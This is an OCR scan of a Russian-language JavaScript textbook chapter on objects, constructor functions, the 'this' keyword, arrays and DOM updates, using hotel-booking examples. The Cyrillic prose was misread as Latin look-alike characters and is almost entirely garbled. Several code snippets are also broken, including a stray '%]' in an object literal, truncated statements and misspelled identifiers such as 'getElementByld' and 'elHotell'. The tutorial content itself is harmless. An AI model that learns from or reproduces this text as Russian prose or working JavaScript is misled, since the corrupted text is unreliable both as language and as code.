TOro, NPy MOMOLLM KaKOW HOTALUM OH co3ga-
Bancs).

@ ®YHKUWNN, METOObI, OB bEKTbI

Mocne co3aaHnsa 06bekTa K HEMY MOXHO
A06aBNATb CBOMCTBA U METOAbI, A/1 3TOr0O
npumMeHsieTcs ToyeyHas HoTauus. Kaxxgas
MHCTpYKUUA, AobaBadoLas K 06bekTy MeToZ,
WIN CBONCTBO, 3aKaHYMBAETCS TOYKOW C 3a-
nsaTomn.

@ OBBLEKT
@ kniou
@ 3HAYEHUE

- CBOWCTBA

— METOQ

MycToi 06bEKT co34aeTca MpU MOMOLLU NUTe-
panibHOM HOTaLumM BOT TakK:

var hotel = {}

MycToi 06bekT co3aaetca B GUTYypHbIX
ckobkax.



OBHOBJIEHVNE OBBbEKTA

Ana obHOBNEHUS 3HAYEeHUIA CBOMCTB UCMO/Ib3yeTCs ToYeyHas
HOTaUMsa UK KBagpaTHble CKOOKU. Mpn TakoM CUHTaKcuce pa-
60Ta Haa 06bEKTOM BbIMOJIHAETCSA NPU MOMOLLWN NUTepasibHON
HOTaAUWUWU UM HOTALWUN KOHCTPYKTOpa. 18 yaaneHus CBOMCTBA
MCNo/ib3yeTcs Ka4deBoe c/10BO delete.

[ns 0o6HOB/NIEHNS CBOMCTBA NPpUMeEHSAETCA

Ta e TeXHMKa, KOTOPOM Mbl NOb30BaIUCh
Ha NpeabiayLien cTpaHuue npu go6aeBneHumn
cBoncTB. Og4HaKo Npu o6HOBIEHUN CBONCTBO
noslyyaeT HOBOE 3HAYEHME.

OBbEKT WMS CBOUCTBA
| |

Ecnmy o6bekTa HET TOro CBOMCTBA, KOTOPOE
Bbl MbITaeTecb 06HOBUTb, OHO ByaeT gobasne-
HO K 06beKTy.

3HAYEHUE CBONCTBA
|

hotel.name
ONEPALMA OOCTYNA

CUHTaKCUC C KBagpaTHbIMU CKOBKaMM Takxe
no3BonsAeT 06HOBNAATL CBOWCTBA 06beKTA

(HO He No3BoNgAEeT 06HOBAATL MEeTOAbI). 3a
MMeHEM 06beKTa CnelyroT KBagpaTHble CKO6-
KW, B 3TUX CKOBKaX HaXoAMTCA UMSA CBOMNCTBA.

= "Tnsax'
|

.
14

OMNEPALUA NPUCBAUBAHUA

HoBoe 3HayeHWe CBOMCTBA CTaBMTCA Noc/ie
onepauuuv npucBanBaHus. OnsaThb Xe, ecau

Bbl MblTaeTecb 06HOBUTb CBOWCTBO, KOTOPOE
noka He CyLLLeCcTBYeT, TO OHO byaeT gobaBaeHo
K 06BbEKTY.

hotel['name'] = "Mnsax";

Ans yaaneHns cBOMCTBA UCMOb3yeTCs Kt0-
yeBoe CN0BO delete, 3a KOTOpPbIM CnegyeT UMs
obbekTa M MMs CBOMCTBA.

delete hotel.name;

EC/M Bbl XOTUTE NPOCTO OYNCTUTb 3HAYEHUE
CBOWCTBA, 3aZalTe B KayeCTBE TAaKOro 3Have-
HUA NYCTY CTPOKY.

hotel.name =";

DYHKUWNN, METOLbI, OB bEKTbI @



CO3O0AHNE HECKOJIBKINX
OBBbEKTOB. HOTALINA
KOHCTPYKTOPA

NHoraa TpebyeTcs, 4TOObI HECKO/IBKO 06BEKTOB Nnpea-
CTaBNAAMN CxOXune Belm. KOHCTpYKTopbl 06beKTOB
MOTYT UCNoNb30BaTbh PYHKLUUIO B KaYecTBe LLIabnoHa
ANg co3aaHnsa ob6bekToB. JlaBanTe CHayana cosjga-
ANM LLab1oH co cBOMCTBAMM U MeTo4aMmM obbekTa.

DyHKUMA Hotel ByaeT MCnonb3oBaTbCA B Kaye-
cTBe WwabnoHa 4N co3gaHnsa 06bekToB, Kax-
bl U3 KOTOPbIX COOTBETCTBYET OTe0. Kak

1 Bce GYHKLMU, OHA COAEPXKUT MHCTPYKLUMN.

B AaHHOM c/lyyae MHCTpyKuumn gobaBnsioT
CBOMCTBA U MeTOAbl K 06BbEKTY.

function Hotel(name, rooms, booked) {

: this.checkAvailability = function() {
return this.rooms - this.booked;

KntouyeBoe cnoso this ucnonblyertca BMecTo
MMEHU 06beKTA, YTOBbI yKa3aTb, YTO CBONCTBO
WM MEeTOA OTHOCUTCA K 06bEKTY, CO3AaHHOMY
UMEHHO 370/ PYHKLMEN.

Kaxxaas UHCTpyKuUs, co3gatoLLas HoBoe
CBOWCTBO UM METOA A4/1 AAHHOT0 06bekTa,
3aKaH4YMBaeTCs TOYKOM ¢ 3ansaTol (a He 3a-
NATOW, KOTOPasa NCMOJIb3YeTCs B CUHTaKcuce
AnTepanos).

@ ®YHKUWNN, METOObI, OB bEKTbI

JaHHas dyHKLMA uMeeT Tpu napameTpa. Kax-
Abl NapamMeTp 3ajaeT 3HauYeHue A1 CBOMNCTBa
ob6bekTa. MeTogbl 6yayT OANHAKOBBIMU Y KaX-
fA0ro 06bekTa, CO34aHHOr0 C MpUMEHEHNEM
AaHHON YHKLUMN.

@ «kniou
@ 3HAYEHME

— CBOWCTBA

— METO[

NM$ YHKLMN KOHCTPYKTOPa 06bIYHO Haum-
HaeTcs ¢ 3arnaBHoM 6ykBbl (B TO BpeMs Kak
MMeHa Apyrunx GyHKLMNA NPUHATO NMCaTh CO
CTPOYHbIX BYKB).

3arnaeHas 6ykBa 40AXHa HANOMMWHATb pas-
paboTuUMKY O TOM, YTO NPU CO34aHUN HOBOTO
06bekTa Npy NOMOLLM 3TOM PYHKLMM UCMO/b-
3yeTcs K/YeBoe c10Bo new (NnogpobHee cm.
Ha cneaytolLen cTpaHuLe).



dK3emMnapbl 06bEKTA CO34a0TCA C UCMOIb30BAHMU-
eM PYHKLUNM KOHCTPYKTOpa. 4N co34aHna HOBOro

obbeKkTa NpUMeHsaeTCsa KoYeBOE C/IOBO new, 3a KO-
TOpbiM cnieayeT Bbi3oB PyHKUMU. CBOMCTBA KaxXk4,0-
ro obbekTa coobLLalTCA B KAa4YeCTBE apryMeHTOB

byHKUMN.

3aecb 4Ba 06beKTa COOTBETCTBYIOT 4BYM
oTensm. Korga k/lo4eBoe C/I0BO NeW Bbi3blBa-
eT GYHKLMIO KOHCTpYKTOpa (onpegeneHHyo
Ha npeAblAyLLen CTpaHuLe), CO34aeTCa HOBbIN
061BbEKT.

OBBEKT

Bcakui pas npv Bbi3oBe 3TON GyHKUUM ee
aprymMeHTbl OT/IMYAIOTCA, TaK Kak OHU npea-
CTaBNAT CO6OM 3HAYEHUSA CBOMNCTB KaXkaoro
otensa. O6a ob6bekTa-oTeNns aBTOMaTUYECKHU
noJsiyyatoT o4MHaKOBble METOAbI, ONpeaesieH-
Hble B GYHKLMN KOHCTPYKTOpa.

DYHKLUA KOHCTPYKTOPA

I—l—l

var quayHotel = new Hotel('Tyna', 40, 25);

var parkHotel = new Hotel('Mnsx', 120, 77);

| —

ONEPALIMA NPUCBAUBAHUA KITIOYEBOE
CNIOBO NEW

MepBbii 06BEKT HOCUT NM9A quayHotel. HasBa-
Hue 3Toro otena — «Tyna», B Hem 40 HOMepoB,
25 13 HUX 3abpoHMpoOBaHoO.

Jla>ke ecaivi Npyv NOMOLLM OAHOW U TON XXe
bYHKLNM KOHCTPYKTOPA CO34aEeTCA MHOXE-
CTBO O6BEKTOB, METO/bI HE U3MEHSAIOTCSH,
NOCKOJIbKY OHU 06paLlaloTcs K AaHHbIM, CO-
XpaHeHHbIM B CBOMCTBaX, 0GHOBASAIOT UX NN
BbIMO/IHAOT HaZ HUMMW BbIYUCIEHUS.

3HAYEHUS, NCNOJIb3YEMbBIE
B CBOUCTBAX OAHHOIo

OBBEKTA

BTopoii 06bekT HOCUT nMs parkHotel. HazBaHue
aToro otens — «Mnax», B Hem 120 HOMepoB,
77 U3 HUX 3abpOoHUpOBaHO.

Takylo TEXHUKY Lie/1eco0b6pasHO MPUMEHSTb

B C/lyyanx, Korga B BalleM CLeHapum co-
AEPXUTCH OYEHb C/IOXHbIN 06BEKT, KOTOPbIN
A0J1KeH 6bITb 4OCTYMNEH, HO BMOJIHE MOXET

He ncnosb3oBaTbca. O6beKT onpegensaercs

B GYHKL MM, HO CO34a€eTCA TONbKO B C/lyYae He-
obxoanmocTu.

DYHKUWNN, METOLbI, OB bEKTbI @



CO3LAHNE OBBbEKTOB
[P MMOMOLLLN
CUHTAKCUCA
KOHCTPYKTOPA

B BbiLLenpnBeAeHHOM KoAe
npu NOMoLLN GYHKLNN
KOHCTpYKTOpa co3zaeTcs
NyCcTON 06BEKT C UMEHEM
hotel.

Mocne co3gaHunsa obbekTa
eMy Np1UCcBanBalOTCa Tpu
CBOMNCTBA U MeTOA,.

Ecnny obbekTa yxe nme-
JINCb Kakne-nnbo 13 aTux
CBOWICTB, TO NP NMpUMeHe-
HUM GYHKUUM KOHCTPYKTOpa
3HavyeHus ux byayT nepesa-
nMucaHbl.

Ansa obpalleHuns K CBOM-
CTBY 3TOro 06beKkTa MOXHO
MCMO/Ib30BaTb TOYEYHYIO
HOTaL MO, TOYHO TaK Xe,
Kak 1 npv pabote c 106bIM
006bEKTOM.

Hanpumep, Ans nonyyeHus
MMeHW oTeNs cneayeT BBe-
cTu: hotel.name.

AHaNoOrn4yHo Ansa
MCNONb30BaHWNA MeToAa
HY>XHO 3anMcaTb UMs
06beKTa M yepes TOYKy 3a
HMM — Ha3BaHMe MeToza:
hotel.checkAvailability().

c3/js/object-constructor.js

var hotel = new Object();

hotel.name = "Mnsax";

hotel.rooms = 120;

hotel.booked = 77;
hotel.checkAvailability = function() {

return this.rooms - this.booked;

¥

JAVASCRIPT

var elName = document.getElementById('hotelName');

elName.textContent = hotel.name;

var elRooms = document.getElementById('rooms');

elRooms.textContent = hotel.checkAvailability();

[®
i==s

i
i
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PE3YJIbTAT

CBobogHble
Homepa

nnax

43

Homepa cBo6ogHO



JAVASCRIPT

CO34AHVE OBBbEKTOB
N OOCTYIT K H/M TPU
[MOMOLLN HOTALNI
KOHCTPYKTOPA

function Hotel(name, rooms, booked) {
this.name = name;
this.rooms = rooms;
this.booked = booked;
this.checkAvailability = function() {

return this.rooms - this.booked;

¥

var quayHotel = new Hotel('Tyna', 40, 25);
var parkHotel = new Hotel('Tlnax', 120, 77);

var details1 = quayHotel.name + ', ceo6ogHO HOMepOB: ';

details1 += quayHotel.checkAvailability();
var elHotel1 = document.getElementById('hotel1');
elHotell.textContent = details1;

var details2 = parkHotel.name + ', cBo6ogHo Homepos: ';

details2 += parkHotel.checkAvailability();
var elHotel2 = document.getElementByld(‘hotel2');
elHotel2.textContent = details2;

PE3YJIbTAT

c03/js/multiple-objects.js

YTo6bl NyyLlie NpeacTas-
NIATb, MO KaKoW NpuymHe
MOXET NoOHaA0bUTbCH CO3-
[laBaTb HECKO/IbKO 06BEKTOB
Ha OZIHOW CTpaHuLe, pac-
CMOTPVM CAEeAYOLWNA NpKu-
mep. B Hem nokasbiBaeTcs,
CKOJIbKO CBOBOAHbBIX HOME-
pOB €CTb B 1BYX OTE/AX.

CHavana pyHKLMA KOH-
CTpyKTOpa onpegensier
wabnoH ana otenen. lanee
co3jatoTcs ABa 3K3emMnas-
pa 06bekTa-oTenNs Takoro
Tuna. NMepBbii COOTBETCTBY-
eT oTesnto «Iasxy, a BTo-
pon — oTento «Tynay.

Co3/4aB 3K3eMNIAPbI 3TUX
06bEKTOB, MOXHO 06pa-
LaTbCs K UX CBOMCTBAM

N MeToZaM Npu NOMOLLN Ta-
KOWM e TOYEYHOWM HoTauuu,
KOTOPYO Mbl YK NPUMEHS-
NIV C APYrMMY 0B bEKTAMM.

B nocnegHem npumepe mbl
obpalyaemcs K AaHHbIM
06€enx roCTUHNL 1 3anu-
CbIBAaeM MX Ha CTpaHMLy.
HTML-koa 4ns 3Toro npu-
Mepa MeHAeTCs B 3aBUCK-
MOCTUW OT OTenNs.

Jna Kaxaoro otens cos-
AaeTcsd nepemMeHHas, rae co-
AEPXNTCS Ha3BaHWe oTens,
3a KOTOpbIM ciefyeT 3ans-
Tas, Npobes n TEKCT cB060AHO
HOMEpOB: .

B cneaytolein cTpoke 10-
baBnaeTcs nepemMmeHHas,
coaepxallas KoIM4ecTBo
HOMEPOB, AOCTYMHbIX B KOH-
KPETHOM OTese.

CBoboaHble
Homepa

Tyna, cBo60gHO HoMepoB: 15

Mnsax, cBo6oaHO HomepoB: 43 Onepau,vm +=MNPUMEHAETCAH
AN fo6aBNeHNs KOHTEHTA
K UMetoLLencs nepemMeHHown.

OYHKLUWNN, METOObI, OBbEKTbI @



HOBABJIEHNE .
N YOAJIEHVE CBONCTB

Kak TonbKo Bbl CO34aau
06bekT (Mpy NomoLym
INTEepanbHON HOTALMM NN
HOTaL MW KOHCTPYKTOpPa), Bbl
moxeTe 406aBSATb K HEMY
HOBblE CBOMCTBA.

[Mpv aToM ncnonb3yeTcs To-
yeyHasa HoTaums. Ha c. 109
6bI/10 PACCMOTPEHO, KaK Ta-
Kas HoTauns NpUMeHseTca
ANa AobaBieHns CBONCTB

K obbekTam.

B gaHHOM npumepe BUAHO,
4T0 3K3EeMNAAp obbekTa

hotel cozgaeTca npn nomo-
LM 06BEKTHOTO INTEpPana.

Cpasy e nocne aToro
061bekT hotel nonyyaeT ABa
[LOMOJTHNTE/IbHbIX CBOVCTBA,
OonuncbliBakOLWNX Hamn4me
yaobcTe (TpeHaxepHoro
3ana n/vnu baccenHa). OHun
6yayT UMETb lorMyeckune
3HayeHusa (true nam false).

JlobaBunB 3TN CBONCTBA

K 06beKTY, MOXHO 0bpa-
LWaTbCA K HUM KaK U K /110~
6bIM APYrMM CBOMCTBAM
obbekTa. 34eCb Mbl 06HOB-
nsemM 3HayeHune aTpubyTa
class y cooTBeTCTBYOLLMX
HTML-3n1eMeHTOB, 4TObbI Ha
3KpaHe oTobpaxanncb NnM6o
ranoyka, 1Mbo KpecTuk.

Ana yaaneHua ucnonbay-
eTca KatyeBoe cnoBo delete
1N TOYeYHas HoTaums, 4Tobbl
naeHTMdunUmMpoBaTh COOT-
BETCTBY!OLLIEE CBOMNCTBO
Uan metoa.

B gaHHOM cny4yae mbl yaa-
NI5eM CBOMCTBO 06bekTa
booked.

c3/js/adding-and-removing-properties.js JAVASCRIPT

var hotel = {
name : 'Tnsx’,

rooms : 120,
booked : 77,
b

hotel.gym = true;
hotel.pool = false;
delete hotel.booked;

var elName = document.getElementById('hotelName');
elName.textContent = hotel.name;

var elPool = document.getElementById(‘pool');
elPool.className ="Pool: ' + hotel.pool;

var elGym = document.getElementById(‘gym');
elGym.className = 'Gym: ' + hotel.gym;

PE3YJIbTAT

[na pocyra

NAax

baccenH P%3
Cnoptsan ¢

Ecnn 06bekT co3paeTcs ¢ npuMeHeHnem GYHKLMM KOHCTPYK-

TOpa, TO3TOT CUHTAKCUC NNLLDb AO6aBJ’IﬂeT CBOWCTBA K 9K3eM-

nnspy obvekta (Mnn yaanset nx). He Bce 06bekTbl co3gatotca
npy MOMOLLM Takon GYyHKLMW.

@ OYHKLUWNN, METOObI, OBBEKTbI



BKPATLE: CMNOCOBbI
CO30AHVNA OBBbEKTOB

CO30AHUE OBBEKTA, OOBABJIEHVE K HEMY CBOWCTB M METOOB

JINMTEPATIbHAA HOTALIMA

B 0boux cregytoLmx npumepax obbekT cosga-
eTCsi B NepBOM CTPOKE JIMCTUHIA. 3aTeM K HeMY
106aBNAOTCA CBOMCTBA U METO/ADbI.

var hotel = {}

hotel.name = 'Tyna';

hotel.rooms = 40;

hotel.booked = 25;

hotel.checkAvailability = function() {
return this.rooms - this.booked;

5

HOTAUNA KOHCTPYKTOPA

Mocne cozgaHns obbekTa AasibHENLLNA CUH-
Takcuc B AByx npumepax (gobasneHue nam
yfa/ieHne CBOMCTB U METOA0B) MAEHTUYEH.

var hotel = new Object();

hotel.name = 'Tyna';

hotel.rooms = 40;

hotel.booked = 25;

hotel.checkAvailability = function() {
return this.rooms - this.booked;

b

CO3OAHME OBbEKTA, YXKE MMEIOLLIErO CBOUCTBA /I METO[bI

JIMTEPATIBHAA HOTALIUA

JlBoeToune CAy>XUT pa3genmnTenbHbIM 3HaKOM
B napax «KJII0Y/3HaveHmey. Me)qu napamu
«K0Y/3HavyeHne» CTaBUTCA 3ansaTas.

var hotel = {
name: 'Tyna',
rooms: 40,
booked: 25,
checkAvailability: function() {

return this.rooms - this.booked;

HOTALUNA KOHCTPYKTOPA

DYyHKLUMS MOXET NCNOJSIb30BATLCH 414 CO3/a-
HNA rpynnbl 06BbEKTOB. BMeCTo MMeHN 06bek-
Ta NCNONb3yeTCsa KAYeBOe CNOBO this.

function Hotel(name, rooms, booked) {
this.name = name;
this.rooms = rooms;
this.booked = booked;
this.checkAvailability = function() {
return this.rooms - this.booked;
L
}
var quayHotel = new Hotel('Tyna', 40, 25);
var parkHotel = new Hotel('Mnsx', 120, 77);

®YHKLUWUN, METOObl, OBBEKThI



KJTKOUEBOE CJ10BO THIS

KntoyeBoe cnoBo this YacTo Ncnosib3yeTcs B PYyHKLNAX
n obbekTax. Ero 3HaveHne 3aBUCUT OT TOrO, rAe 00bABNA-
eTca dyHKUMsA. OHO BCergla ykasblBaeT Ha OAMH 0O6BbekT,
Kak MpaBu/io, 3TO 0O6BEKT, KOTOPbIM onepupyeT GyHKLUS.

®YHKLUMA B TMOBAIbHOW
OBJIACTN BUONMOCTU

Korga dyHkLmMa co34aeTcsa Ha BepXHEM
ypoBHe cueHapus (To eCTb He BHYTpU
ApYyroro obbekTa nnum dyHKUMN), oHa
HaxoAuTCa B r/106a/1bHovi 061acTv Bugm-
MOCTH, TaKXKe UMEHYEMOW r/106a/1bHbIM
KOHTEKCTOM.

[1o yMO/14aHMO B TaKOM KOHTEKCTE Ha-
XoAMTCA 06bekT window. Mo3ToOMY ecn
K/t0o4eBoe C/10B0O this npumeHseTcs

B dbyHKUMK, paboTatoLyen B rnobanbHom
KOHTEKCTe, To laHHasa dyHKLUUSA onepupy-
eT 06bekTOM window.

B cnegytowiem koae c10BO this npuMmeHs-
eTCs A4/15 BO3BPpaLleHNs CBOMCTB 00bekTa
window (06 3TUX CBOMCTBax Mbl MOroBO-
pu“M Ha c. 130)

function windowSize() {
var width = this.innerWidth;
var height = this.innerHeight;
return [height, width];

}

Ha BHYTPUCMCTEMHOM YPOBHE K/l04eBOe
CN0BO this npeacTaBngeT cobom CCbiIKY
Ha TOT 06BEKT, BHYTPM KOTOPOro co3aa-
eTca dyHKkumna.

@ OYHKLUWNN, METOObI, OBBEKTbI

MMOBAJIbHBIE MEPEMEHHbDIE

Bce rnobanbHble MepeMeHHble Takxe
CTAHOBATCS CBOMCTBaMU 0b6bekTa
window. [MoToMy Korga dbyHKLMSA Haxo-
aAnTca B rnobasibHOM KOHTEKCTE, Mbl MO-
Xem obpallaTtbCa Npy NOMoLLN obbekTa
window 1 K r1o6abHbIM MEPEMEHHbIM,

N K APYrMM CBOMCTBaM 3TOro obbekTa.

3aecb dyHKUMS showWidth() HaxoanTcs
B rnobanbHoM 0b61acTn BUAMMOCTH,

a KoJ this.width oTHOCUTCS K nepemMeH-
HoM width:

var width = 600;

var shape = {width: 300};

var showWidth = function() {
document.write(this.width);

N S

showWidth();

3aech GyHKUMA 3aNMLLET Ha CTpaHuLy
3HaveHue 600 (MpM NOMOLLKN MeTOAA
write() o6bekTa document().



Kak BnauTe, 3Ha4YeHMe KA4YeBOro C/J10Ba
this MeHsieTCS1 B 3aBUCMMOCTM OT CUTYya-
unn. Ho He BOZIHYMTECH, €CIN HE MoMeTe
MaTepuan aTUX AByX CTPaHMUL, C NepBOro
pasa. Yem 6onblue GyHKLUUN N 06BEKTOB
Bbl byeTe nnucaTb, TeM Ny4lle cTaHeTe
OCBaMBaTbCs C MepeMEHHbIMU, O KOTOPbIX
34ecb naeT peyb. Ecam e knoyeBoe Co-
BO this MO KaKMM-TO MPUYNHAM HE BEPHET
OXMAAEMOTr0o 3HAaYEeHUS, TO Bbl CMOXeTe
rnepeynTaTbh 3TU CTPAHULIbI U BbIACHUTD,
noyemy Tak MpPoOM30LUIO.

METOO OBBbEKTA

Koraa dyHKUMA onpeaenaeTcs BHyTpU
00bekTa, OHa CTAHOBUTCSH METOLOM. B me-
ToAe CNOBO this ykasbiBaeT Ha 0O6BEKT,

K KOTOPOMY OHa NMpUHaAexXuT.

B npnBegeHHOM HUXe NpuMepe MeTos
getArea() HaxoANTCS BHYTpuM 06bekTa shape,

MOTOMY KJ/1t04eBOE C/10BO this yKa3biBaeT Ha

TOT 06beKT shape, B KOTOPOM COAEPXKUTCA
3TOT MeToA.

var shape = {
width: 600,

height: 400%]
getArea: function() {

h* th

[MockoNbKy 34ech KAtO4eBOe CN0BO this yka-

3blBaeT Ha 06beKT shape, NpeAblAyLLMi KO
dakTMUYeCKN paBHOLIEHEH CAEAYOLEMY:

return shape.width * shape.height;

Ecnn 6bl Mbl CO34aBann HECKOIbKO 06b-
€KTOB MpY MOMOLLM KOHCTPYKTOpa 06b-

ekToB (MpuyeM y kaxzaomn dburypbl 6b11m bl

pasHble pasmepbl), TO K/OYeBOe C0BO this
yKa3blBaso Obl Ha KOHKPETHbI 3K3eMNAsap

co3zasaemoro Bamu obbekTa. Mpu BbiI30BE

meToAa getArea() OH paccumTan 6bl pas-
Mepbl JaHHOr0 KOHKPEeTHOro 3K3emMnasapa
obbekTa.

CneayeT yNnOMSHYTb eLle OAWH Cy4dan,
npu KOTOPOM 0ZHa GYHKLMS BKAAAbI-
BaeTCs B APYyryto. Tak npuxoaunTcs ge-
NaTb Wb B CPAaBHUTETbHO C/IOXHbIX
CLieHapunsaXx, HO 3Ha4YeHne KJK4YeBOro
cnoBa this cnocobHo BapbupoBaTbca (B
3aBMCMMOCTM OT UCMOJIb3YEMOrO BamMu
bpaysepa). MoxHo 060onTK Npobaemy,
COXpaHWB 3Ha4yeHWe this B mnepemeHHON
B NepBO GYHKUMN U Aasiee UCMOb3YS
B 104EPHUX DYHKLMAX UMEHHO 3TY
rnepemMeHHyto, a He C/10BO this.

OYHKUWMA-BBIPAXEHNWE
B KAHECTBE METOOA

Ecnv uMeHoBaHHasa dyHKUMSA onpeaens-
eTcs B rnobanbHoM 061acTn BUANMOCTH,
a 3aTem MUCMosb3yeTcs kak MeTos 06b-
eKTa, C/I0BO this ykasbiBaeT Ha TOT 06b-
€KT, B KOTOPOM COAEPXUTCA 3TOT METOA,.

B cneaytolwem npumepe ncnonbsyertcs
Ta xe dyHKUnsA-BbipaxeHune showWidth(),
4YTO W Ha NpeAblAyLLen CTpaHuLe, HO OHa
npucBamnBaeTCcs Kak MeTo/ obbekTa.

var width = 600;

var shape = {width: 300};

var showWidth = function() {
document.write(this.wi

b 0 '

shape.getWidth = showWidth;
shape.getWidth();

MpeanocneaHsas CTPOKa yKasbiBaeT, YTO
dyHKUMA showWidth() ncnonb3yeTcs Kak
meTo/Z 06bekTa shape. MeToa nonyvaeT
apyroe nms: getWidth().

[Mpwv BbI3OBE MeToAa getWidth(), xoTa

OH M Ucnosb3ayeT GyHKUMIO showWidth(),
KtoueBOe C/10BO this Tenepb yKkasbiBaeT
Ha 06bekT shape, a He Ha r1obanbHbIN
KoHTekcT (a ko this.width ccbinaeTcs Ha
cBoncTBO width 06bekTa shape). MosTomy
Ha CTpaHMLYy 3anNncbiBaeTCcsa 3Haye-

Hue 300.

OYHKLUWNN, METOObI, OBBEKTbI @



BKPATLE:

XPAHEHWE OAHHbBIX

B a3bike JavaScript npeacTaBneHne AaHHbIX BbINMO/IHSAET-

Cs1 B BMAE Nap «MMsl/3HadyeHne. lna opraHnsaunm aaHx-
HbIX MOXHO MCMOJ1b30BaTb MAacC1B 0OBbEKTOB, B KOTOPOM
rpynnupyeTcsa psij B3anMOCBA3aHHbIX 3Ha4YeHUM. B mac-

cMBax M 06bekTax MMS Tak>Ke Ha3bIBAETCS K/IHOUYOM.

MEPEMEHHbIE

MepemeHHas MMeeT BCero oAuH Koy (Mms
nepemMeHHOn) N 04HO 3HAYEHMeE.

MMs nepemMeHHOM OTAENAETCA OT ee 3Ha-
YyeHunsa 3Hakom paBeHcTBa (onepaymen
npuceauBaHmsa).

var hotel = 'Tyna";

Ana n3sneyeHvs sHavyeHns nepeMeHHoﬁ
MCNONb3YyEeTCHd ee nMm4:

// N3Bnekaem ums "Tyna":
hotel;

Ecnm nepemerHas yxe 06bsiBaeHa, HO 3Ha-
YyeHue e Noka He MPUCBOEHO, OHa ABAAETCS
HeonpeaeneHHon (undefined).

Ec/nv kNtoYeBoe CNOBO var He UCMOJIb3yeTcCs,
TO NepemMeHHas o6baBAseTCca B rnobanbHom
obnacTtu BuanmocTu (NosToMy BCerga cne-
[yeT UCNO/b30BaTb K/IIOYEBOE C/I0BO var).

@ DYHKUNNU, METOAbI, OBBEKTDI

MACCUBbI

B MaccuBe MOXET XpaHUTbCA paj 3Have-
HWI. PasgennTenbHbIM 3HaKOM MeXAY
3/1eMEeHTaMM MaccmBa CNYXWUT 3ansTas.
MopafoK 3HaYEHNN BaXeH, Tak Kak KaXXzo-
MY 3/1EMEHTY B MacCcuBe NpucBanBaeTcs
HOMEp, Ha3blBAEMbIN MHAEKCOM.

3HayeHMs B MacCMBe 3aNnCbIBaOTCA B KBa-
APaTHbIX ckobkax un pasaendarTcd 3anga-
TbiMW

var hotels = [
'Tyna',
"Mnax',
'NeTckuit',
'LeHTpanbHblir

]

Kax bl 31eMeHT B MacCnBe MOXHO
TPakTOBaTb Kak OTAE/bHYIO Napy K4/
3HAuYeHmey, rae Ky — 3TO UHAEKC, a 3Ha-
YEHUS HAXOAATCS B CMMCKE U pasgensaoTcs
3anaTbiMU.

DNEMEHT U3BJIEKAETCS MO UHAEKCY:

// Vi3Bnekaem ums "Mnax":
hotels[1];

Ecnn kN4 — 3T0 Yncno, 7o ANS n3Bneye-
HWA 3HAYEHUA HYXKHO 3anncaTb JaHHOE
YNCNO B KBagpPaTHbIX ckobkax.

Maccuebl — eﬂ,VIHCTBeHHbIl;I B AaHHbIX,
rae B Kad4ecTBe K/1lo4a MOXET BbICTYMNaTb
4Yyncno.



MpumeyaHue. DTOT pasaes KacaeTcs
NMEHHO XpaHeHUs AaHHbIX. Bbl HE cMoXeTe
XpaHWTb NpaBusa A4 BbINOJHEHWS 3a4au
B Maccuee. MNpaBuia no3BoagaeTca XpaHnTb
TO/IbKO B GYHKLUN N MeToZe.

Ecnn Bbl XOTUTE MNOAYYNTb AOCTYN K 3/1IEMEHTAM MO
MMEHM CBONCTBA NN KJ1t0YY, MNOMIb3YyNTECh 0OBEKTOM
(HO YUYTWUTE, YTO KaXK bl KNOY B 0ObeKTe J0J1KEH ObIThb
yHUKaneH). Ecnm nopsagok cneaoBaHns 31eMEHTOB Ba-
>X€H, TO UCMOJSIb3yNTe MacCcuB.

OTAEJIbHbIE OBBbEKTDI

B o6bekTax XxpaHATCA MHOXeCTBa nap
«MMS/3HadYeHney». DTo MOryT BbITb CBOM-
cTBa (nepemeHHbie) nan metogbl (PyHK-
Lnm).

MopaaoK NX CNea0BaHNA HE UMeeT 3Have-
Hua (B oT/IMUMe OT paboTbl C MAacCUBOM).
Kax bl dparmMeHT AaHHbIX 4OCTYMNEH No
ero KJjouy.

B 06beKTHOM IMTepanbHOM HOTaL MK CBOM-
CTBa U MeTo/bl 06BbEKTa 3anucbiBaoTCA
B GUTYPHbIX CKOBKax:

var hotel = {
name: 'Tyna’,
rooms: 40

L

Ob6BbeKTbl, CO3aBaeMble MPU MOMOLLK
NINTepanbHON HoTaumu, yaobHbl B cneayto-
LWMX CUTYyaumnax:

* NpU XpaHEeHN AaHHbIX UK Nepejade
AaHHbIX MeXAY NPUIoXeHNAMMN,;

= 4ns rnobanbHbIX Nan
KOHdUrypaunoHHbIX 06beKTOB,
opraHusylowmx nHdopmaumio Ha
cTpaHuLe.
Jns gocTyna K CBOWCTBA UM MeToAam
06beKTa NoMb3yNTECh TOYEYHON HOTa-
unen:

// Vi3Bnekaem ums "Tyna":
hotel.name;

MHOXECTBEHHbIE OB BEKTbI

Ecaim HeobXxoaAnMMO co3aTb MHOXECTBO
06BEKTOB Ha O4HOWN CTPAHULLE, UCNONb3Y-
eTCs KOHCTPYKTOp 06bEeKTOB, NpeocTas-
NAWMA WabnoH ANs8 3TON Lenu.

function Hotel(name, rooms) {
this.name = name;
this.rooms = rooms;

}

3aTeM Npu NOMOLLM K/IIOYEBOTO C/I0BA new
co3/aloTCsa 3K3eMnAspbl 06bEKTOB, NoC/e
yero BbI3biBaeTCA GYHKLMA KOHCTPYKTOPA.

var hotell = new Hotel('Tyna', 40);
var hotel2 = new Hotel('Mnsx', 120);

O61BeKkTbl, CO3aBaeMble NPU MOMOLLN
KOHCTPYKTOPA, XOPOLLM B CAEAYOLLNX
cuTyaumax:

* Ha CTpaHule nmeeTcs bosbluoe
KO/IMYECTBO 06BHEKTOB CO CXOXMUM
dyHKUMoHanom (Hanpumep,
MeAmnansieepos, C/lainj-1oy, UrpoBbIX
nepcoHaxemn);

* C/IOXKHbIN 06bEKT, BOSMOXHO, He byaeT
MNCMO/b30BaThCA B KOAE.

Jns gocTtyna Kk CBOMCTBAM UM METOAaM
06bekTa UCMOb3YeTCs TOYeYHan HoTauums:

// N3Bnekaem umsa "Mnsx":
hotel2.name;

OYHKLUWNN, METOObI, OBBbEKTbI @



MACCVIBbl — 2TO
OBbEKTHI

B cywiHOCTHK, MaccuBbl — 3TO 0cobbii TN 06bekTOB. Maccus
COAEPXXUT MHOXECTBO B3aMMOCBA3aHHbIX MNap «KMMs/3HaYeHnE
(kak 1 noboi 06BbEKT), HO KNHOYOM K KaXKAOMY 3HAUYEHUIO Cly-
XUT UHAEKC.

Kak y>e rosopunioch Bbiwe (Ha c. 78), maccuB obnagaeT CBOMCTBOM length, yKka3biBatloL MM, CKO/b-
